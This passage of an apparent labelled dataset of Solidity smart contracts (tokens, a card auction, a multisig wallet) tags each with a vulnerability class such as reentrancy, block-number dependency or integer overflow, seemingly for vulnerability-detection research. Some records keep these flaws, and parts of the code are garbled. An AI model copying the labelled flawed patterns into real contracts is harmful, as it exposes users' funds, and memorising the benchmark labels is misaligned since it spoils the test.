notified. //This crafts the function signature manually so one doesn't have to include a contract in here just for this. //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) { revert(); } return true; } } function mintCoin(TokenStorage storage self, address target, uint256 mintedAmount, address owner) internal returns (bool success) { /** * @dev Approves and then calls the receiving contract with any additional paramteres * @param target address the address which will receive the funds. * @param mintedAmount the amount of funds to be sent. * @param owner the contract responsable for controling the amount of funds. * @return True if successful. */ self.balances[target] = safeAdd(self.balances[target], mintedAmount);//balances[target] += mintedAmount; self.totalSupply = safeAdd(self.totalSupply, mintedAmount);//totalSupply += mintedAmount; Transfer(0, owner, mintedAmount); // Deliver coin to the mint Transfer(owner, target, mintedAmount); // mint delivers to address return true; } function meltCoin(TokenStorage storage self, address target, uint256 meltedAmount, address owner) internal returns (bool success) { /** * @dev Approves and then calls the receiving contract with any additional paramteres * @param target address the address which will return the funds. * @param meltedAmount the amount of funds to be returned. * @param owner the contract responsable for controling the amount of funds. * @return True if successful. */ if(self.balances[target] uint256) balances; mapping (address => mapping (address => uint256)) allowed; // @return total amount of tokens uint256 public totalSupply; } /** @title I_minter. */ contract I_minter { event EventCreateStatic(address indexed _from, uint128 _value, uint _transactionID, uint _Price); event EventRedeemStatic(address indexed _from, uint128 _value, uint _transactionID, uint _Price); event EventCreateRisk(address indexed _from, uint128 _value, uint _transactionID, uint _Price); event EventRedeemRisk(address indexed _from, uint128 _value, uint _transactionID, uint _Price); event EventBankrupt(); function Leverage() constant returns (uint128) {} function RiskPrice(uint128 _currentPrice,uint128 _StaticTotal,uint128 _RiskTotal, uint128 _ETHTotal) constant returns (uint128 price) {} function RiskPrice(uint128 _currentPrice) constant returns (uint128 price) {} function PriceReturn(uint _TransID,uint128 _Price) {} function NewStatic() external payable returns (uint _TransID) {} function NewStaticAdr(address _Risk) external payable returns (uint _TransID) {} function NewRisk() external payable returns (uint _TransID) {} function NewRiskAdr(address _Risk) external payable returns (uint _TransID) {} function RetRisk(uint128 _Quantity) external payable returns (uint _TransID) {} function RetStatic(uint128 _Quantity) external payable returns (uint _TransID) {} function Strike() constant returns (uint128) {} }",./Dataset/reentrancy (RE)/,5,5 3201.sol,"pragma solidity 0.4.24; contract Governable { event Pause(); event Unpause(); address public governor; bool public paused = false; constructor() public { governor = msg.sender; } function setGovernor(address _gov) public onlyGovernor { governor = _gov; } modifier onlyGovernor { require(msg.sender == governor); _; } /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyGovernor whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyGovernor whenPaused public { paused = false; emit Unpause(); } } contract CardBase is Governable { struct Card { uint16 proto; uint16 purity; } function getCard(uint id) public view returns (uint16 proto, uint16 purity) { Card memory card = cards[id]; return (card.proto, card.purity); } function getShine(uint16 purity) public pure returns (uint8) { return uint8(purity / 1000); } Card[] public cards; } contract CardProto is CardBase { event NewProtoCard( uint16 id, uint8 season, uint8 god, Rarity rarity, uint8 mana, uint8 attack, uint8 health, uint8 cardType, uint8 tribe, bool packable ); struct Limit { uint64 limit; bool exists; } // limits for mythic cards mapping(uint16 => Limit) public limits; // can only set limits once function setLimit(uint16 id, uint64 limit) public onlyGovernor { Limit memory l = limits[id]; require(!l.exists); limits[id] = Limit({ limit: limit, exists: true }); } function getLimit(uint16 id) public view returns (uint64 limit, bool set) { Limit memory l = limits[id]; return (l.limit, l.exists); } // could make these arrays to save gas // not really necessary - will be update a very limited no of times mapping(uint8 => bool) public seasonTradable; mapping(uint8 => bool) public seasonTradabilityLocked; uint8 public currentSeason; function makeTradable(uint8 season) public onlyGovernor { seasonTradable[season] = true; } function makeUntradable(uint8 season) public onlyGovernor { require(!seasonTradabilityLocked[season]); seasonTradable[season] = false; } function makePermanantlyTradable(uint8 season) public onlyGovernor { require(seasonTradable[season]); seasonTradabilityLocked[season] = true; } function isTradable(uint16 proto) public view returns (bool) { return seasonTradable[protos[proto].season]; } function nextSeason() public onlyGovernor { //Seasons shouldn't go to 0 if there is more than the uint8 should hold, the governor should know this ¯\_(ツ)_/¯ -M require(currentSeason <= 255); currentSeason++; mythic.length = 0; legendary.length = 0; epic.length = 0; rare.length = 0; common.length = 0; } enum Rarity { Common, Rare, Epic, Legendary, Mythic } uint8 constant SPELL = 1; uint8 constant MINION = 2; uint8 constant WEAPON = 3; uint8 constant HERO = 4; struct ProtoCard { bool exists; uint8 god; uint8 season; uint8 cardType; Rarity rarity; uint8 mana; uint8 attack; uint8 health; uint8 tribe; } // there is a particular design decision driving this: // need to be able to iterate over mythics only for card generation // don't store 5 different arrays: have to use 2 ids // better to bear this cost (2 bytes per proto card) // rather than 1 byte per instance uint16 public protoCount; mapping(uint16 => ProtoCard) protos; uint16[] public mythic; uint16[] public legendary; uint16[] public epic; uint16[] public rare; uint16[] public common; function addProtos( uint16[] externalIDs, uint8[] gods, Rarity[] rarities, uint8[] manas, uint8[] attacks, uint8[] healths, uint8[] cardTypes, uint8[] tribes, bool[] packable ) public onlyGovernor returns(uint16) { for (uint i = 0; i < externalIDs.length; i++) { ProtoCard memory card = ProtoCard({ exists: true, god: gods[i], season: currentSeason, cardType: cardTypes[i], rarity: rarities[i], mana: manas[i], attack: attacks[i], health: healths[i], tribe: tribes[i] }); _addProto(externalIDs[i], card, packable[i]); } } function addProto( uint16 externalID, uint8 god, Rarity rarity, uint8 mana, uint8 attack, uint8 health, uint8 cardType, uint8 tribe, bool packable ) public onlyGovernor returns(uint16) { ProtoCard memory card = ProtoCard({ exists: true, god: god, season: currentSeason, cardType: cardType, rarity: rarity, mana: mana, attack: attack, health: health, tribe: tribe }); _addProto(externalID, card, packable); } function addWeapon( uint16 externalID, uint8 god, Rarity rarity, uint8 mana, uint8 attack, uint8 durability, bool packable ) public onlyGovernor returns(uint16) { ProtoCard memory card = ProtoCard({ exists: true, god: god, season: currentSeason, cardType: WEAPON, rarity: rarity, mana: mana, attack: attack, health: durability, tribe: 0 }); _addProto(externalID, card, packable); } function addSpell(uint16 externalID, uint8 god, Rarity rarity, uint8 mana, bool packable) public onlyGovernor returns(uint16) { ProtoCard memory card = ProtoCard({ exists: true, god: god, season: currentSeason, cardType: SPELL, rarity: rarity, mana: mana, attack: 0, health: 0, tribe: 0 }); _addProto(externalID, card, packable); } function addMinion( uint16 externalID, uint8 god, Rarity rarity, uint8 mana, uint8 attack, uint8 health, uint8 tribe, bool packable ) public onlyGovernor returns(uint16) { ProtoCard memory card = ProtoCard({ exists: true, god: god, season: currentSeason, cardType: MINION, rarity: rarity, mana: mana, attack: attack, health: health, tribe: tribe }); _addProto(externalID, card, packable); } function _addProto(uint16 externalID, ProtoCard memory card, bool packable) internal { require(!protos[externalID].exists); card.exists = true; protos[externalID] = card; protoCount++; emit NewProtoCard( externalID, currentSeason, card.god, card.rarity, card.mana, card.attack, card.health, card.cardType, card.tribe, packable ); if (packable) { Rarity rarity = card.rarity; if (rarity == Rarity.Common) { common.push(externalID); } else if (rarity == Rarity.Rare) { rare.push(externalID); } else if (rarity == Rarity.Epic) { epic.push(externalID); } else if (rarity == Rarity.Legendary) { legendary.push(externalID); } else if (rarity == Rarity.Mythic) { mythic.push(externalID); } else { require(false); } } } function getProto(uint16 id) public view returns( bool exists, uint8 god, uint8 season, uint8 cardType, Rarity rarity, uint8 mana, uint8 attack, uint8 health, uint8 tribe ) { ProtoCard memory proto = protos[id]; return ( proto.exists, proto.god, proto.season, proto.cardType, proto.rarity, proto.mana, proto.attack, proto.health, proto.tribe ); } function getRandomCard(Rarity rarity, uint16 random) public view returns (uint16) { // modulo bias is fine - creates rarity tiers etc // will obviously revert is there are no cards of that type: this is expected - should never happen if (rarity == Rarity.Common) { return common[random % common.length]; } else if (rarity == Rarity.Rare) { return rare[random % rare.length]; } else if (rarity == Rarity.Epic) { return epic[random % epic.length]; } else if (rarity == Rarity.Legendary) { return legendary[random % legendary.length]; } else if (rarity == Rarity.Mythic) { // make sure a mythic is available uint16 id; uint64 limit; bool set; for (uint i = 0; i < mythic.length; i++) { id = mythic[(random + i) % mythic.length]; (limit, set) = getLimit(id); if (set && limit > 0){ return id; } } // if not, they get a legendary :( return legendary[random % legendary.length]; } require(false); return 0; } // can never adjust tradable cards // each season gets a 'balancing beta' // totally immutable: season, rarity function replaceProto( uint16 index, uint8 god, uint8 cardType, uint8 mana, uint8 attack, uint8 health, uint8 tribe ) public onlyGovernor { ProtoCard memory pc = protos[index]; require(!seasonTradable[pc.season]); protos[index] = ProtoCard({ exists: true, god: god, season: pc.season, cardType: cardType, rarity: pc.rarity, mana: mana, attack: attack, health: health, tribe: tribe }); } } contract MigrationInterface { function createCard(address user, uint16 proto, uint16 purity) public returns (uint); function getRandomCard(CardProto.Rarity rarity, uint16 random) public view returns (uint16); function migrate(uint id) public; } contract CardPackFour { MigrationInterface public migration; uint public creationBlock; constructor(MigrationInterface _core) public payable { migration = _core; creationBlock = 5939061 + 2000; // set to creation block of first contracts + 8 hours for down time } event Referral(address indexed referrer, uint value, address purchaser); /** * purchase 'count' of this type of pack */ function purchase(uint16 packCount, address referrer) public payable; // store purity and shine as one number to save users gas function _getPurity(uint16 randOne, uint16 randTwo) internal pure returns (uint16) { if (randOne >= 998) { return 3000 + randTwo; } else if (randOne >= 988) { return 2000 + randTwo; } else if (randOne >= 938) { return 1000 + randTwo; } else { return randTwo; } } } contract Ownable { address public owner; constructor() public { owner = msg.sender; } function setOwner(address _owner) public onlyOwner { owner = _owner; } modifier onlyOwner { require(msg.sender == owner); _; } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } library SafeMath64 { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint64 a, uint64 b) internal pure returns (uint64 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint64 a, uint64 b) internal pure returns (uint64) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint64 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint64 a, uint64 b) internal pure returns (uint64) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint64 a, uint64 b) internal pure returns (uint64 c) { c = a + b; assert(c >= a); return c; } } contract AuctionPack is CardPackFour, Pausable { using SafeMath for uint; // probably a better way to do this/don't need to do it at all using SafeMath64 for uint64; mapping(address => uint) owed; event Created(uint indexed id, uint16 proto, uint16 purity, uint minBid, uint length); event Opened(uint indexed id, uint64 start); event Extended(uint indexed id, uint64 length); event Bid(uint indexed id, address indexed bidder, uint value); event Claimed(uint indexed id, uint indexed cardID, address indexed bidder, uint value, uint16 proto, uint16 purity); event Bonus(uint indexed id, uint indexed cardID, address indexed bidder, uint16 proto, uint16 purity); enum Status { Closed, Open, Claimed } struct Auction { Status status; uint16 proto; uint16 purity; uint highestBid; address highestBidder; uint64 start; uint64 length; address beneficiary; uint16 bonusProto; uint16 bonusPurity; uint64 bufferPeriod; uint minIncreasePercent; } Auction[] auctions; constructor(MigrationInterface _migration) public CardPackFour(_migration) { } function getAuction(uint id) public view returns ( Status status, uint16 proto, uint16 purity, uint highestBid, address highestBidder, uint64 start, uint64 length, uint16 bonusProto, uint16 bonusPurity, uint64 bufferPeriod, uint minIncreasePercent, address beneficiary ) { require(auctions.length > id); Auction memory a = auctions[id]; return ( a.status, a.proto, a.purity, a.highestBid, a.highestBidder, a.start, a.length, a.bonusProto, a.bonusPurity, a.bufferPeriod, a.minIncreasePercent, a.beneficiary ); } function createAuction( address beneficiary, uint16 proto, uint16 purity, uint minBid, uint64 length, uint16 bonusProto, uint16 bonusPurity, uint64 bufferPeriod, uint minIncrease ) public onlyOwner whenNotPaused returns (uint) { require(beneficiary != address(0)); require(minBid >= 100 wei); Auction memory auction = Auction({ status: Status.Closed, proto: proto, purity: purity, highestBid: minBid, highestBidder: address(0), start: 0, length: length, beneficiary: beneficiary, bonusProto: bonusProto, bonusPurity: bonusPurity, bufferPeriod: bufferPeriod, minIncreasePercent: minIncrease }); uint id = auctions.push(auction) - 1; emit Created(id, proto, purity, minBid, length); return id; } function openAuction(uint id) public onlyOwner { Auction storage auction = auctions[id]; require(auction.status == Status.Closed); auction.status = Status.Open; auction.start = uint64(block.number); emit Opened(id, auction.start); } // dummy implementation to support interface function purchase(uint16, address) public payable { } function getMinBid(uint id) public view returns (uint) { Auction memory auction = auctions[id]; uint highest = auction.highestBid; // calculate one percent of the number // highest will always be >= 100 uint numerator = highest.div(100); // calculate the minimum increase required uint minIncrease = numerator.mul(auction.minIncreasePercent); uint threshold = highest + minIncrease; return threshold; } function bid(uint id) public payable { Auction storage auction = auctions[id]; require(auction.status == Status.Open); uint64 end = auction.start.add(auction.length); require(end >= block.number); uint threshold = getMinBid(id); require(msg.value >= threshold); // if within the buffer period of the auction // extend to the buffer period of blocks uint64 differenceToEnd = end.sub(uint64(block.number)); if (auction.bufferPeriod > differenceToEnd) { // extend the auction period to be at least the buffer period uint64 toAdd = auction.bufferPeriod.sub(differenceToEnd); auction.length = auction.length.add(toAdd); emit Extended(id, auction.length); } emit Bid(id, msg.sender, msg.value); if (auction.highestBidder != address(0)) { // let's just go with the safe option rather than using send(): probably fine but no loss owed[auction.highestBidder] = owed[auction.highestBidder].add(auction.highestBid); // give the previous bidder their bonus/consolation card if (auction.bonusProto != 0) { uint cardID = migration.createCard(auction.highestBidder, auction.bonusProto, auction.bonusPurity); emit Bonus(id, cardID, auction.highestBidder, auction.bonusProto, auction.bonusPurity); } } auction.highestBid = msg.value; auction.highestBidder = msg.sender; } // anyone can claim the card/pay gas for them function claim(uint id) public returns (uint) { Auction storage auction = auctions[id]; uint64 end = auction.start.add(auction.length); require(block.number > end); require(auction.status == Status.Open); auction.status = Status.Claimed; uint cardID = migration.createCard(auction.highestBidder, auction.proto, auction.purity); emit Claimed(id, cardID, auction.highestBidder, auction.highestBid, auction.proto, auction.purity); // don't require this to be a trusted address owed[auction.beneficiary] = owed[auction.beneficiary].add(auction.highestBid); return cardID; } function withdraw(address user) public { uint balance = owed[user]; require(balance > 0); owed[user] = 0; user.transfer(balance); } function getOwed(address user) public view returns (uint) { return owed[user]; } }",./Dataset/block number dependency (BN),0,0 0x00cf36853aa4024fb5bf5cc377dfd85844b411a0_MultiSigWalletWithDailyLimit.sol,"pragma solidity ^0.4.15; /// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution. /// @author Stefan George - <[email protected]> contract MultiSigWallet { /* * Events */ event Confirmation(address indexed sender, uint indexed transactionId); event Revocation(address indexed sender, uint indexed transactionId); event Submission(uint indexed transactionId); event Execution(uint indexed transactionId); event ExecutionFailure(uint indexed transactionId); event Deposit(address indexed sender, uint value); event OwnerAddition(address indexed owner); event OwnerRemoval(address indexed owner); event RequirementChange(uint required); /* * Constants */ uint constant public MAX_OWNER_COUNT = 50; /* * Storage */ mapping (uint => Transaction) public transactions; mapping (uint => mapping (address => bool)) public confirmations; mapping (address => bool) public isOwner; address[] public owners; uint public required; uint public transactionCount; struct Transaction { address destination; uint value; bytes data; bool executed; } /* * Modifiers */ modifier onlyWallet() { require(msg.sender == address(this)); _; } modifier ownerDoesNotExist(address owner) { require(!isOwner[owner]); _; } modifier ownerExists(address owner) { require(isOwner[owner]); _; } modifier transactionExists(uint transactionId) { require(transactions[transactionId].destination != 0); _; } modifier confirmed(uint transactionId, address owner) { require(confirmations[transactionId][owner]); _; } modifier notConfirmed(uint transactionId, address owner) { require(!confirmations[transactionId][owner]); _; } modifier notExecuted(uint transactionId) { require(!transactions[transactionId].executed); _; } modifier notNull(address _address) { require(_address != 0); _; } modifier validRequirement(uint ownerCount, uint _required) { require(ownerCount <= MAX_OWNER_COUNT && _required <= ownerCount && _required != 0 && ownerCount != 0); _; } /// @dev Fallback function allows to deposit ether. function() payable { if (msg.value > 0) Deposit(msg.sender, msg.value); } /* * Public functions */ /// @dev Contract constructor sets initial owners and required number of confirmations. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. function MultiSigWallet(address[] _owners, uint _required) public validRequirement(_owners.length, _required) { for (uint i=0; i<_owners.length; i++) { require(!isOwner[_owners[i]] && _owners[i] != 0); isOwner[_owners[i]] = true; } owners = _owners; required = _required; } /// @dev Allows to add a new owner. Transaction has to be sent by wallet. /// @param owner Address of new owner. function addOwner(address owner) public onlyWallet ownerDoesNotExist(owner) notNull(owner) validRequirement(owners.length + 1, required) { isOwner[owner] = true; owners.push(owner); OwnerAddition(owner); } /// @dev Allows to remove an owner. Transaction has to be sent by wallet. /// @param owner Address of owner. function removeOwner(address owner) public onlyWallet ownerExists(owner) { isOwner[owner] = false; for (uint i=0; i owners.length) changeRequirement(owners.length); OwnerRemoval(owner); } /// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet. /// @param owner Address of owner to be replaced. /// @param newOwner Address of new owner. function replaceOwner(address owner, address newOwner) public onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) { for (uint i=0; i[email protected]> contract MultiSigWalletWithDailyLimit is MultiSigWallet { /* * Events */ event DailyLimitChange(uint dailyLimit); /* * Storage */ uint public dailyLimit; uint public lastDay; uint public spentToday; /* * Public functions */ /// @dev Contract constructor sets initial owners, required number of confirmations and daily withdraw limit. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. /// @param _dailyLimit Amount in wei, which can be withdrawn without confirmations on a daily basis. function MultiSigWalletWithDailyLimit(address[] _owners, uint _required, uint _dailyLimit) public MultiSigWallet(_owners, _required) { dailyLimit = _dailyLimit; } /// @dev Allows to change the daily limit. Transaction has to be sent by wallet. /// @param _dailyLimit Amount in wei. function changeDailyLimit(uint _dailyLimit) public onlyWallet { dailyLimit = _dailyLimit; DailyLimitChange(_dailyLimit); } /// @dev Allows anyone to execute a confirmed transaction or ether withdraws until daily limit is reached. /// @param transactionId Transaction ID. function executeTransaction(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { Transaction storage txn = transactions[transactionId]; bool _confirmed = isConfirmed(transactionId); if (_confirmed || txn.data.length == 0 && isUnderLimit(txn.value)) { txn.executed = true; if (!_confirmed) spentToday += txn.value; if (txn.destination.call.value(txn.value)(txn.data)) Execution(transactionId); else { ExecutionFailure(transactionId); txn.executed = false; if (!_confirmed) spentToday -= txn.value; } } } /* * Internal functions */ /// @dev Returns if amount is within daily limit and resets spentToday after one day. /// @param amount Amount to withdraw. /// @return Returns if amount is under daily limit. function isUnderLimit(uint amount) internal returns (bool) { if (now > lastDay + 24 hours) { lastDay = now; spentToday = 0; } if (spentToday + amount > dailyLimit || spentToday + amount < spentToday) return false; return true; } /* * Web3 call functions */ /// @dev Returns maximum withdraw amount. /// @return Returns amount. function calcMaxWithdraw() public constant returns (uint) { if (now > lastDay + 24 hours) return dailyLimit; if (dailyLimit < spentToday) return 0; return dailyLimit - spentToday; } }",Safe,8,8 949.sol,"pragma solidity 0.4.22; library SafeMath { function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function sub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function div(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } } contract ERC20Interface { function totalSupply() public view returns (uint); function balanceOf(address tokenOwner) public view returns (uint balance); function allowance(address tokenOwner, address spender) public view returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); event FrozenFunds(address target, uint tokens); event Buy(address indexed sender, uint eth, uint token); } contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public onlyOwner { emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } contract Pausable is Owned { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } contract GB is ERC20Interface, Pausable { using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) public balances; mapping(address => uint) public lockInfo; mapping(address => mapping(address => uint)) internal allowed; mapping (address => bool) public admins; modifier onlyAdmin { require(msg.sender == owner || admins[msg.sender]); _; } function setAdmin(address _admin, bool isAdmin) public onlyOwner { admins[_admin] = isAdmin; } constructor() public{ symbol = 'GalaxyBlock'; name = 'Galaxy Block '; decimals = 18; _totalSupply = 100000000*10**uint(decimals); balances[owner] = _totalSupply; emit Transfer(address(0), owner, _totalSupply); } function totalSupply() public view returns (uint) { return _totalSupply; } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); require(_value != 0); require(balances[_from] >= _value); require(balances[_from] - _value >= lockInfo[_from]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(_from, _to, _value); } function transfer(address to, uint tokens) public whenNotPaused returns (bool success) { _transfer(msg.sender, to, tokens); return true; } function approve(address _spender, uint tokens) public whenNotPaused returns (bool success) { allowed[msg.sender][_spender] = tokens; emit Approval(msg.sender, _spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public whenNotPaused returns (bool success) { require(allowed[from][msg.sender] >= tokens); _transfer(from, to, tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); return true; } function allowance(address tokenOwner, address spender) public whenNotPaused view returns (uint remaining) { return allowed[tokenOwner][spender]; } function lockOf(address tokenOwner) public view returns (uint lockedToken) { return lockInfo[tokenOwner]; } function lock(address target, uint lockedToken) public whenNotPaused onlyAdmin { lockInfo[target] = lockedToken; emit FrozenFunds(target, lockedToken); } function batchLockArray(address[] accounts, uint[] lockedToken) public whenNotPaused onlyAdmin { for (uint i = 0; i < accounts.length; i++) { lock(accounts[i], lockedToken[i]); } } function batchVipWtihLock(address[] receivers, uint[] tokens, bool freeze) public whenNotPaused onlyAdmin { for (uint i = 0; i < receivers.length; i++) { sendTokensWithLock(receivers[i], tokens[i], freeze); } } function sendTokensWithLock (address receiver, uint tokens, bool freeze) public whenNotPaused onlyAdmin { _transfer(msg.sender, receiver, tokens); if(freeze) { uint lockedAmount = lockInfo[receiver] + tokens; lock(receiver, lockedAmount); } } function sendInitialTokens (address user) public onlyOwner { _transfer(msg.sender, user, balanceOf(owner)); } }",./Dataset/integer overflow (OF)/,4,4 0x02169578b41b8f7f5f2dd0491aa2682a13196c44_KillahyToken.sol,"pragma solidity ^0.4.18; // ---------------------------------------------------------------------------- // 'KILLAHY' token contract // // Deployed to : 0x02169578b41b8f7f5f2dd0491aa2682a13196c44 by holder 0x821ca1b7919200Ff99495466e13CA3b3135c1668 // Symbol : KILLAHY // Name : Killahy Token // Total supply: 100000000 // Decimals : 18 // // Enjoy. // // (c) by Moritz Neto with BokkyPooBah / Bok Consulting Pty Ltd Au 2017. The MIT Licence. // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // Safe maths // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Contract function to receive approval and execute function in one call // // Borrowed from MiniMeToken // ---------------------------------------------------------------------------- contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); function Owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ---------------------------------------------------------------------------- contract KillahyToken is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function KillahyToken() public { symbol = ""KILLAHY""; name = ""Killahy Token""; decimals = 18; _totalSupply = 100000000000000000000000000; balances[0x821ca1b7919200Ff99495466e13CA3b3135c1668] = _totalSupply; Transfer(address(0), 0x821ca1b7919200Ff99495466e13CA3b3135c1668, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // 